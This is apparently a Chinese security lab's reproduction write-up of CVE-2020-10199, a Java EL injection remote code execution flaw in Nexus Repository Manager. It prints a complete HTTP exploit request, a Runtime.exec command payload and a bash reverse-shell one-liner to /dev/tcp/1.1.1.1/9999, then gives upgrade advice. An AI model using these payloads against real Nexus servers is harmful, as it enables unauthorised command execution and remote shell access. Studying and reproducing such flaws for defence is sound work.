暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Nexus 远程命令执行漏洞 CVE-2020-10199

燕云实验室 2021-06-28
4921



“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。





一、关于 Nexus

Nexus 是一个 Maven 的仓库管理系统,它提供了强大的仓库管理、构件搜索等功能,并且可以用来搭建 Maven 仓库私服,在代理远程仓库的同时维护本地仓库,以节省带宽和时间。


在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,经过授权认证的攻击者,可以通过 JavaEL 表达式注入造成远程代码执行,获取系统权限。


使用fofa搜索nexus可发现有38w+个相关资产。



二、CVE-2020-10199


2.1 漏洞简介


今年3月31日的时候Nexus Repository Manager官方发布了CVE-2020-10199CVE-2020-10204的漏洞公告,两个漏洞均是由Github Secutiry Lab的@pwntester发现的。其中CVE-2020-10199再获取到管理员权限后,即可进行远程命令执行。



2.2 影响版本

Nexus Repository Manager OSS/Pro version <= 3.21.1



2.3 漏洞复现

我们使用vulhub提供的漏洞docker容器直接开启环境。

    cd ~/vulhub/nexus/cve-2020-10199
    复制
      docker-composer up -d
      复制


      等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面。

      该漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin登录后台。


      2.4 漏洞利用

      可使用以下payload对nexus进行远程命令执行,其中NXSESSIONID需要更换为账户登录成功之后的ID,该ID存在与Cookie中。

        POST /service/rest/beta/repositories/go/group HTTP/1.1
        Host: 127.0.0.1:8081
        Content-Length: 203
        X-Requested-With: XMLHttpRequest
        X-Nexus-UI: true
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
        NX-ANTI-CSRF-TOKEN: 0.7886248393834028
        Content-Type: application/json
        Accept: */*
        Origin: http://127.0.0.1:8081
        Sec-Fetch-Site: same-origin
        Sec-Fetch-Mode: cors
        Referer: http://127.0.0.1:8081/
        Accept-Encoding: gzip, deflate, br
        Accept-Language: zh-CN,zh;q=0.9
        Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
        Connection: close


        {
        "name": "internal",
        "online": true,
        "storage": {
        "blobStoreName": "default",
        "strictContentTypeValidation": true
        },
        "group": {
        "memberNames": ["$\\A{233*233*233}"]
        }
        }
        复制

        可以看到公式233x233x233计算成功,替换以下payload即可系统命令执行。

          $\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch tmp/233')}
          复制


          利用构建好的PY脚本:


          linux主机配合:

            bash -i >&/dev/tcp/1.1.1.1/9999 0>&1
            复制

            命令可反弹shell



            2.5 漏洞修复

            目前,官方已发布新版本修复了该漏洞,请受影响的用户升级到安全版本。

            下载地址:https://help.sonatype.com/repomanager3/download/ 




            END



            声明


            署名:CC BY-NC-SA 3.0 CN

            文中所涉及的技术,思路和工具仅供以安全为目的的学习交流使用,请勿做非法用途否则后果自负。










            文章转载自燕云实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

            评论